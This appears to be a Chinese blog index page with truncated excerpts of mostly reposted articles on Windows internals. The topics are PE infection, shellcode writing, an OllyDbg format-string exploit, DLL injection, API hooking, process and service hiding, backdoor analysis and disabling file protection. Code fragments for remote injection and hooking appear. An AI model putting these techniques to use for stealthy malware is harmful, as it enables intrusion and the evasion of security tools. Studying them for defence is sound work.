也许你想要了解一个病毒,注入到程序内部并且感染他的方法,或者你对保护你特殊的PE文件的数据感兴趣。你能使用这篇文章的源代码构建你自定义的EXE BUILDER。如果用在好的方面,他能教你怎样保护或封装加密你的PE文件,但是同样如果你用在邪恶的方面,他能产生一个病毒。然而,我写这篇文章的目的是前者,所以,我不会为不道德的使用负责。
1预备知识
按照主题这篇文章不需要特殊的预备知识,如果你已经了解了DEBUGGER和文件结构,那么我建议你跳过2,3部分,这两部分是为毫无基础的人准备的。
2.PE文件的结构
规定PE文件的结构为WINDOWS OS提供了最好的方式去执行代码,并且储存一个程序运行所需要的基本数据。例如常量,变量等等。
................
阅读全文
VC编译OCCI的解决方案
摘要: 1、增加接口。在OcciDml.hpp中增加extern "C" int __declspec(dllexport) funA(char* a); 在OcciDml.cpp中将函数声明修改为extern "C" int __declspec(dllexport) funA(char* a)
2、修改头文件。在需要引入的所有类中,替换为
#ifndef OCCI_ORACLE
#define WIN32COMMON
#include "occi.h"
using namespace oracle::occi;
using namespace std;
#endif
否则会出现错误如下:
d:\oracle\ora92\oci\include\occicontrol.h(1132) : error C2995: 'getVector' : template function has already been defined
d:\oracle\ora92\oci\include\occicommon
阅读全文
扭曲变换加密(ZT)
摘要:
一,一般来讲,加密就是加壳
我们经常考虑,一个可执行文件,怎么样加密才能安全呢?
一般用的手段,是加壳。加壳工具的工作原理,就是把可执行文件的代码与
数据都进行加密变换,作为数据存放。生成的目标文件入口代码是加壳软件
准备好的防跟踪代码。经过漫长的防跟踪代码后,会把原始可执行文件的代码
与数据段恢复,然后跳转到原来的入口处,继续运行。这样做的缺点是,不管
你的加密多强,防跟踪代码多牛,只要一运行,在内存中就全部恢复了。只要
把内存映象dump下来,反汇编一下,就清清楚楚了。甚至有工具可以直接把
dump下来的内存映象存为可执行文件。这样加密就彻底失败了。
......
阅读全文
OllyDbg Format String 0day分析和利用(ZT)
摘要:
OD作为一款Ring3下的调试器以优异的性能博得了广大密界爱好者的一致肯定,就在最近milw0rm上公布了一个OD 0 day的POC(OllyDbg v110 Local Format String Exploit),以前写了很多栈溢出的漏洞,却很少有Format String的漏洞,这次OD给我们提供了一个熟悉Format String问题的机会(只有原版的OD存在此问题,看雪论坛的修改版OllyIce不存在此问题)。
........
阅读全文
编写Unicode有效的Shellcode(ZT)
摘要:
对于溢出爱好者来说,能够编写Shellcode是一个必备的基本技能,特别是能应对各种在实际情况中对Shellcode存在各种限制条件的时候,这种能力就显得尤为重要了。黑防2007年第二期中介绍了纯字母数字的Shellcode的编写,在3期中的WinRAR 7z溢出中就派上了用场。Unicode大家应该不陌生,在一些大型程序中,比如Word、Excel考虑到不同语言平台的差异性,都会使用 Unicode,在利用这些漏洞的时候,我们以往的Shellcode就难以适用了。一个普通的Down&Exec的Shellcode经过 MultiByteToWideChar函数转换成Unicode后
..........
阅读全文
插入DLL和挂接API(ZT)
摘要:
每个进程都有它自己的私有地址空间。当使用指针来引用内存时,指针的值将引用你自己进程的地址空间中的一个内存地址,有些情况下,必须打破进程的界限,访问另一个进程的地址空间,这些情况包括:
...........
阅读全文
内核级利用通用Hook函数方法检测进程(ZT)
摘要:
介绍通用Hook的一点思想:
在系统内核级中,MS的很多信息都没公开,包括函数的参数数目,每个参数的类型等。在系统内核中,访问了大量的寄存器,而很多寄存器的值,是上层调用者提供的。如果值改变系统就会变得不稳定。很可能出现不可想象的后果。另外有时候对需要Hook的函数的参数不了解,所以不能随便就去改变它的堆栈,如果不小心也有可能导致蓝屏。所以Hook的最佳原则是在自己的Hook函数中呼叫原函数的时候,所有的寄存器值,堆栈里面的值和Hook前的信息一样。这样就能保证在原函数中不会出错。一般我们自己的Hook的函数都是写在C文件里面的。例如Hook的目标函数KiReadyThread。
........
阅读全文
WTS APIs(Windows终端服务API)获取进程信息(ZT)
摘要:
WTS APIs(Windows终端服务API)获取进程信息
Windows XP 有一个新特性叫做“快速用户转换——Fast User Switching”,这个特性允许多个用户同时在一台机器上登陆。当一个用户登陆后,另一个用户启动的进程仍然能够运行。这个神奇的特性所倚仗的是 WTS APIs。如果你想了解更多有关 WTS 的内容,可以参考 MSJ Oct99 的一篇文章:“Windows NT和 Windows 2000 终端服务APIs介绍”,作者是 Frank Kim。
Windows XP为每一个登陆用户创建一个WTS会话(Session)。每个运行进程总是与这样一个Session关联。Windows XP的任务管理器允许你列出进程清单,不论是针对所有会话的还是仅仅针对自己的会话,任务管理器对话框的进程标签中有一个"显示所有用户的进程"复选框可以对此进行选择。
.................
阅读全文
“黑客之门”后门的魅力(ZT)
摘要: “黑客之门”介绍
黑客之门采用的目前一些先进的后门技术,它只有一个Dll文件,通过感染系统文件启动自身,被感染的系统文件大小和日期都不会改变;同时采用线程插入技术,本身没有进程;本身不开端口,而是重用系统进程开的任意一个端口,如80,135,139,445等,因此它的隐藏性非常好,而且穿透防火墙也是很容易的事。这个版本文件不大,只提供一些很有用的命令。目前还没有发现如何工具能查到这个后门,象Fport,Llister,RKDetector等查工具都失效。
程序的自启动
既然是一个后门,那么就要随系统的启动而启动,根据黑客之门的介绍,它是通过感染系统程序文件来实现程序的自启动的。既然是感染了系统文件(像病毒),那就看看感染前和感染后的系统文件的区别吧!为了测试感染前后的差别,我准备了一个专门用来被感染的文件TestLoad.exe,它没有什么功能,只是弹出一个对话框,这样好等待测试,麻雀虽小,五脏俱全,省得动系统文件了。接着运行命令:
...................
阅读全文
获取通过终端登录的当前用户winlogon进程pid
摘要: /*此代码用于获取通过终端登录的当前用户winlogon进程pid
在开了终端服务的机器上运行没问题,没有开终端服务的得不到pid,自己修改吧
Author:009
Email:baicker.009(a)gmail.com
Web:http://www.blogjava.net/baicker
Date:20070720
*/
#include <stdio.h>
#include <windows.h>
#include <wtsapi32.h>
#pragma comment(lib, "wtsapi32.lib")
void main()
{
DWORD ProcessId, SessionId;
BOOL Res=0;
DWORD winlogonPid = 0;
............
阅读全文
浅析本机API(ZT)
摘要:
此文只能说是一篇笔记,是关于本机API的.本机API是除了Win32 API,NT平台开放了另一个基本接口。本机API也被很多人所熟悉,因为内核模式模块位于更低的系统级别,在那个级别上环境子系统是不可见的。尽管如此,并不需要驱动级别去访问这个接口,普通的Win32程序可以在任何时候向下调用本机API。并没有任何技术上的限制,只不过微软不支持这种应用开发方法。
User32.dll,kernel32.dll,shell32.dll,gdi32.dll,rpcrt4.dll,comctl32.dll, advapi32.dll,version.dll等dll代表了Win32 API的基本提供者。Win32 API中的所有调用最终都转向了ntdll.dll,再由它转发至ntoskrnl.exe。ntdll.dll是本机 API用户模式的终端。真正的接口在ntoskrnl.exe里完成。事实上,内核模式的驱动大部分时间调用这个模块,如果它们请求系统服务。 Ntdll.dll的主要作用就是让内核函数的特定子集可以被用户模式下运行的程序调用。Ntdll.dll通过软件
阅读全文
汇编ring3下实现HOOK API续之备份函数法(ZT)
摘要: 我曾经写过一编文章,名字叫"汇编ring3下实现HOOK API",里面详细介绍了汇编ring3下实现HOOK API的几种方法,文章中着重介
绍了介绍了"改写内存地址JMP法"的方法,这也是比较通用的一种方法,让我们再来回顾一下改写内存地址JMP法的具体方法::
直接跳转,改变API函数的入口或出口的几个字节,使程序跳转到自己的函数,该方法不受程序加壳的限制。这种技术,说起来也不
复杂,就是改变程序流程的技术。在CPU的指令里,有几条指令可以改变程序的流程:JMP,CALL,INT,RET,RETF,IRET等指令。理
论上只要改变API入口和出口的任何机器码,都可以HOOK,下面我就说说常用的改写API入口点的方法:
因为工作在Ring3模式下,我们不能直接修改物理内存,只能一个一个打开修改,但具体的方法又分成好几种,我给大家介绍几种操
作思路:
.......
阅读全文
汇编ring3下实现HOOK API (ZT)
摘要:
=====[ 1. 内容 ]=============================================
1. 内容
2. 介绍
2.1 什么叫Hook API?
2.2 API Hook的应用介绍
2.3 API Hook的原则
3. 挂钩方法
3.1 改写IAT导入表法
3.2 改写内存地址JMP法
4. 汇编实现
4.1. 代码
4.2. 分析
5. 结束语
=====[ 2. 介绍 ]================================================
这篇文章是有关在OS Windows下挂钩API函数的方法。所有例子都在基于NT技术的Windows版本NT4.0
及以上有效(Windows NT 4.0, Windows 2000, Windows XP)。可能在其它Windows系统也会有效。
你应该比较熟悉Windows下的进程、汇编器、和一些
阅读全文
未公开函数MessageBoxTimeOut 实现定时消息(ZT)
摘要: #include
#include
//Functions & other definitions required-->
typedef int (__stdcall *MSGBOXAAPI)(IN HWND hWnd,
IN LPCSTR lpText, IN LPCSTR lpCaption,
IN UINT uType, IN WORD wLanguageId, IN DWORD dwMilliseconds);
typedef int (__stdcall *MSGBOXWAPI)(IN HWND hWnd,
IN LPCWSTR lpText, IN LPCWSTR lpCaption,
IN UINT uType, IN WORD wLanguageId, IN DWORD dwMilliseconds);
int MessageBoxTimeoutA(IN HWND hWn 阅读全文
关闭SFC[文件保护]的源代码(ZT)
摘要: WindowsXP Professional SP2测试通过.
.386
.Model Flat,StdCall
Option CaseMap :None
Include \Masm32\Include\Windows.inc
Include \Masm32\Include\User32.inc
Include \Masm32\Include\Shell32.inc
Include \Masm32\Include\Kernel32.inc
Include \Masm32\Include\Advapi32.inc
..........
阅读全文
编程禁止Windows文件保护(ZT)
摘要: 这里要用到一个未公开的API——SfcFileException,其声明如下:
代码:
DWORD WINAPI SfcFileException(DWORD dwUnknown0, PWCHAR pwszFile, DWORD dwUnknown1);
参数说明: dwUnknown0 未知,设为0
pwszFile 文件名
dwUnknown1 未知,设为-1
...........
阅读全文
Load and Unload (ZT)
摘要: 一、前言
在前一段时间,我遭遇了一个现象诡异的Bug,最后原因归结为在DllMain里错误地调用了FreeLibrary(在本文最后对此Bug有详细的解释)。MSDN里关于禁止在DllMain里调用 LoadLibrary和FreeLibrary的解释过于含糊不清,所以我重温了一遍Russ Osterlund的"Windows 2000 Loader"一文,并仔细阅读了泄漏的Win2000源代码的相关部分。按照我一贯的习惯,我的阅读过程形成了我这篇文章的主体。自从我2000年写了"ATL接口映射宏详解" 以来,我还没写过这么大块头的文章。我不知道有多少人耐着性子看完了"ATL接口映射宏详解",我猜想这篇文章的命运也不会比它的前辈好多少。在这个技术更新越来越快的年代里,人们会对这种陷入实现细节的文章感到厌烦,而我自己在若干年后可能也不会有耐心和勇气面对它,但文章最后对几个问题的解释也还是有实用价值的,另外寻根究底的精神也总是应该存在的。
..............
阅读全文
Windows NT使用技巧、编程原理及程序示例(ZT)
摘要: 1. 利用Net User命令和Cacls命令做用户管理
2. 利用At命令做日程管理
3. 利用用户登录脚本实现开机提示
4. 利用Net Session命令实现登录用户统计
5. Windows NT局域网管理API函数库(NETAPI)简介
6. 怎样添加、删除、配置用户?
7. 怎样修改用户口令?
8. 怎样编程实现用户的注销和关机?
9. 怎样获取所有登录用户列表?
10. 怎样向用户或计算机发送消息?
11. 怎样实现远程关闭计算机?
12. UNICODE字符串和普通ASCII字符串怎样转换?
13. 如何获取系统错误信息?
14. 什么是Service(服务)程序?
15. 如何使自己的应用程序成为Service?
16. 如何编制Service程序?
..................
阅读全文
LNK1103: debugging information corrupt; recompile module
摘要: Linking...
Creating library Debug/xxx.lib and object Debug/xxx.exp
uuid.lib(comcat.obj) : fatal error LNK1103: debugging information corrupt; recompile module
Error executing link.exe.
.........
阅读全文
控制台下输出DLL的调试信息(ZT)
摘要: 在cmd.exe下运行rundll32.exe mydll.dll,MyFunc ,本想直接在当前cmd窗口输出调试信息.
可因rundll32是Win32 GUI程序而非Win32 console,所以cmd.exe标准输入输出句柄无法被mydll.dll继承用来向父进程cmd.exe输出数据.
这时, 如果用强行用GetStdHandle获得句柄,然后用WriteConsole来进行输出,则会发生无效句柄错误.
但是如果在这之前先AllocConsole,则可正常WriteConsole,但是会新建个控制台窗口来输出数据,很不爽 :-P
有没有什么办法向当前cmd.exe窗口输出数据呢?
.............
阅读全文
char *和char [ ]的区别(ZT)
摘要: 见程序如下:
#include "stdafx.h"
#include "string.h"
#include "stdio.h"
int main(int argc, char* argv[])
{
char source[]="This is a source sentence";
//char *source="This is a source sentence";
strtok(source,"a");
printf("%s\n",source);
return 0;
}
如果用被注释掉的那句话,程序运行的时候就报错。
................
阅读全文
Windows下的进程隐藏(ZT)
摘要: 9X环境中Windows提供了想光的API函数用于隐藏系统进程。但是到了2000以上系统,已经无法真正的做到对于进程的隐藏,除非编写底层驱动。但是我们可以通过一些变通的办法来达到隐藏进程的目的,其中一个就是远程注入。简单的说就是先编写一个 API的DLL,然后将这个DLL库注入到一个系统进程中,作为它的一个线程去执行。
要实现DLL注入,首先需要打开目标进程。
hRemoteProcess = OpenProcess( PROCESS_CREATE_THREAD | //允许远程创建线程
PROCESS_VM_OPERATION | //允许远程VM操作
PROCESS_VM_WRITE, //允许远程VM写
FALSE, dwRemoteProcessId )
...........
阅读全文
ApiHook类(ZT)
摘要: // 头文件
// ApiHook.h: interface for the CApiHook class.
//
//////////////////////////////////////////////////////////////////////
#ifndef API_HOOK_H
#define API_HOOK_H
class CApiHook
{
public :
HANDLE hProc ;
............
阅读全文
APIHOOK之拦截OpenProcess(真正的实现了拦截TerminateProcess)(ZT)
摘要:
关于API HOOK(OpenProcess),根据网上文章改写
以下是部分程序,在VC++6.0 Plat SDK 2003 SP1下编译通过
#include <windows.h>
#include "APIHook.h"
extern CAPIHook g_OpenProcess;
// 自定义OpenProcess函数
#pragma data_seg("YCIShared")
HHOOK g_hHook = NULL;
DWORD dwCurrentProcessId=0;
#pragma data_seg()
HANDLE WINAPI Hook_OpenProcess(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId)
.................
阅读全文
APIHOOK之杀毒软件的简单实现(ZT)
摘要: #define DEBUGMSG
#include <windows.h>
#include <windef.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include "Psapi.h"
#pragma comment (lib,"Psapi.lib")
#define erron GetLastError ()
TCHAR name[50]=""; //保存虫虫的文件名+路径
FILE *Gfp=NULL; //输出到文件
BOOL ScanVXER (LPTSTR V_FileName,long V_FileOffset,int V_Length,TCHAR *V_Contents);
//匹配特征码函数
.......................
阅读全文
应用层隐藏服务的项目(ZT)
摘要: 应用层隐藏服务的项目 2006-03-28
HideService
// *****************************************************************************//
//
// 文件名: AgentHk.cpp
// 所属项目名称:
// 所属模块名称: AGENT Service Hook
// 所属项目版本: 2.0
// 文件用途 :
// 文件作者 : horse_b
// 创建日期 : 2004-11-30
//
// 文件修改说明:
// 文件修改人:
// 修改日期:
//
//
//
//********************************************************************************//
.............
阅读全文
“PE文件格式”1.9版 完整译文(附注释)
摘要: 标 题: 【翻译】“PE文件格式”1.9版 完整译文(附注释)
作 者: ah007
时 间: 2006-02-28,13:32
链 接: http://bbs.pediy.com/showthread.php?threadid=21932
$Id: pe.txt,v 1.9 1999/03/20 23:55:09 LUEVELSMEYER Exp $
PE文件格式系列译文之一----
【翻译】“PE文件格式”1.9版 完整译文(附注释)
=========================================================
原著:Bernd. Luevelsmeyer
翻译:ah007
[注意:本译文的所有大小标题序号都是译者添加,以方便大家阅读。圆圈内的数字是注释的编号,其中注释②译自微软的《PECOFF规范》,其它译自网络。----译者]
.........
阅读全文
用 SEH 技术实现 API Hook(ZT)
摘要: 阅读本文之前,我先假设读者已经知道了 SEH 和 API Hook 的基本概念,因为我不打算在此进行扫盲工作。什么?你不懂什么叫 SEH 和 API Hook ?那……先去找点资料看看吧,到处都有哦,推荐读物:Jeffrey Richter 大牛的《Windows核心编程》。(没话可说,研究系统底层编程的葵花宝典,必备!)
...........
阅读全文
Fasm tutorial, assembly in windows.
摘要: Fasm tutorial, assembly in windows.
ok, this tutorial is aimed at those who know the basics behind assembly. i am not going to explain what hexedecimal,binary and decemal are, or how to convert between them or any of thatc stuff. that is well documented, google it if you dont know. this will be in many parts, and im going to deal with the useful stuff really, guis, that stuff...
ok, i am using a compiler called FASM, available at:
..............
阅读全文
Hooking Windows API (ZT)
摘要:
===========================[ Hooking Windows API ]==============================
Technics of hooking API functions on Windows
--------------------------------------------
Author: Holy_Father
Version: 1.1 english
Date: 6.10.2002
Web: http://www.hxdef.org, http://hxdef.net.ru,
阅读全文